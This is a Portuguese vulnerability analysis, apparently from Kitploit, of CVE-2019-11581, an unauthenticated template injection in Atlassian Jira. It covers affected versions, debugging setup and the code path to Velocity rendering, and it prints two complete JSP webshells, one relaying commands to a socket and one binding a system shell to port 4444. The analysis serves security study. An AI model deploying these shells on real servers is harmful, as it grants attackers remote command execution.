CVE-2019-11581 — Injeção de template não autenticada no Atlassian Jira | Kitploit

Injeção de template não autenticada no Atlassian Jira (CVE-2019-11581)

I) Construção

1. Versão do bug

4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x anterior a 7.6.14 (versão corrigida para 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x anterior a 7.13.5 (versão corrigida para 7.13.x)
8.0.x anterior a 8.0.3 (versão corrigida para 8.0.x)
8.1.x anterior a 8.1.2 (versão corrigida para 8.1.x)
8.2.x anterior a 8.2.3 (versão corrigida para 8.2.x)

2. Construir e depurar

Modifique o valor set JVM_SUPPORT_RECOMMENDED_ARGS= no arquivo ./bin/setenv.bat (ou similar com o arquivo ./bin/setenv.sh do Linux) para executar a depuração remota

set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Vejo que a requisição vai para /secure/ContactAdministrators.jspa, então verifico o arquivo ./atlassian-jira/WEB-INF/web.xml para ver para qual classe essa requisição será encaminhada
Assim, a requisição será processada em JiraWebworkActionDispatcher, então coloco um breakpoint em init e server nesta classe e executo a depuração
Dessa forma, o programa parou na função server, tracei um pouco e o programa entrou em ContactAdministrators.doExecute()
Depois passou para send, onde o programa lista as contas de administrador ativas
Em seguida, o programa passa para a função sendTo. Aqui vemos que o programa cria um MailQueueItem e o adiciona na mailQueue.
O programa chama a função EmailBuilder.withSubject. Aqui, a string subject do e-mail (enviada pelo atacante) é convertida de String para TemplateSources e atribuída ao parâmetro subjectTemplate do EmailBuilder.
Na função renderLater, o programa cria um EmailRenderer e o usa para criar um RenderingMailQueueItem
A partir daqui, ao retornar para a função ContactAdministrators.sendTo. Após criar um MailQueueItem, o programa adiciona o item na mailQueue e retorna para a função doExecute para Redirecionar. Se seguir este fluxo de depuração, não é possível pular para a parte onde o programa renderiza o e-mail, portanto não consigo chegar à parte onde ocorre a injeção de template. Então, o que devo fazer para acompanhar o processamento do e-mail???
Vejo que no EmailRenderer existe a função renderNow (o programa apenas chama renderLater). Suponho que quando o e-mail na fila é chamado para ser renderizado, ele também seguirá o mesmo fluxo que renderNow, então decidi traçar a partir da função renderNow
A partir de renderNow, o programa chama EmailRenderer.render(). Coloco um breakpoint aqui e faço a requisição novamente para ver se o programa realmente chega até aqui
Felizmente, o programa seguiu o caminho que supus. Em seguida, o programa chama renderEmailSubject
Na sequência, o programa chama DefaultVelocityTemplatingEngine.render(this.subjectTemplate)
Chega em DefaultVelocityTemplatingEngine.applying e DefaultVelocityTemplatingEngine.asPlainText
Continua chamando asPlainText(Writer writer)
Chega em toWriterImpl porque o writer que passei é um Fragment, então o programa entra no else

private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Possível RCE aqui ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }

ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

CVE-2019-11581

Mais Populares

II) Análise

Stack call

arquivo: web.jsp

arquivo: bind.jsp

Correção